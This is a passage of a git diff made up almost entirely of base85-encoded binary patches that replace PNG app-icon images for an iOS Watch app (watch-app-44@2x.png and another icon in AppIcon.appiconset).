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 diff --git a/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-app-44@2x.png b/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-app-44@2x.png index fe022ac772005f38771f01ebf2c64828d6cb63c1..7fc6b49eebf7c4e15f6a8a981f1a911840b550f4 100644 GIT binary patch literal 7921 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 B7e)X8 literal 10297 zcmZ`=K5G5rXbs|4$(Ff75P1Nd*9)07!}ms<>ue>cV=e4z+!o9%VYLT)-0v z5Q2e|j?xiF2v}~Fhf43;SVFZ}EVb_op`xFwWvf{wJ(cNh#;aE?@ln%3ilT@JIHO98 ziakAEnWee)*xI0?BE*7fU%X#GhGHFN(wLcdJl}nez!7Evi2nnh457F&Vvx-V2?OoA zlM@Z0A1B`gutdOvBWE1?v5AI$_FkCN7l^K?&5~PRXa5f*6k19g@d$lT}Tj z(AAeYaYb`gvK0p2(!ZV6#@b7Dk=uj7X&B-#rq*gohrvu@N2nTP_1PX6`4cC-4F)7YbkOqP!3#9_j z%HCV7B#Uag5{b1kOcfVW2W+|x^LKergaoDMST5gATK$cQs{J=Nze~T+FX0WvMMY&E za+1F#-A+>AX~2a3u%(l_iXP@mkN2Y2C2wTr{A}4&F6X&BcQ}8#W_ObP$FWU#EF&q? zO&W494qxAJxOs4N2u4X!TL?ZnalZIV{Cq-D{pc(c*TnmGcALpW@?xHC&zt|um5yqU z@f!RBkn!MHsC7igY1_MWmB5S&E;2lErlZfX_-iXG;I`^CWa|NQs#rX_x$yTY$`ccUAlg{kA* zoAzB&l9}UU-*#pVRaE!)ESS|&E`!g-CI}>;(D0}!q;MVA$LCzz zO&m(0hSc$r1yqE{S@p3Jp#4 zx|m3v6?lQP`(sJe*v?c;Tc|CfN(q&JQf?t~xy2gqbN6LrzjrywebE|i_1Oj`wwb#U zFjogC&I`ojqI6iyRk4$TBAVqT~KS)-r?mY8A4kPISoI%tjzMmU>V zd7Y-!EyeKHLjJ>P%Z~}rjywnY*m|ClnSIuiJzu+-43Ul{etb+rsdBi`iJAo&%ehCi z=}?f3)DzB%;9k%lCr{XvbT7_*OLUQ6o5Vq|TzKI{1XfNPP=I@GCWa8QAr+BM1{;ws z_9SXg=A`1@=(;ZD45%MV{*tDrrjJRf`Z}2u#96Mwc{m)28S%MU{ui&=*7m8cyQax> 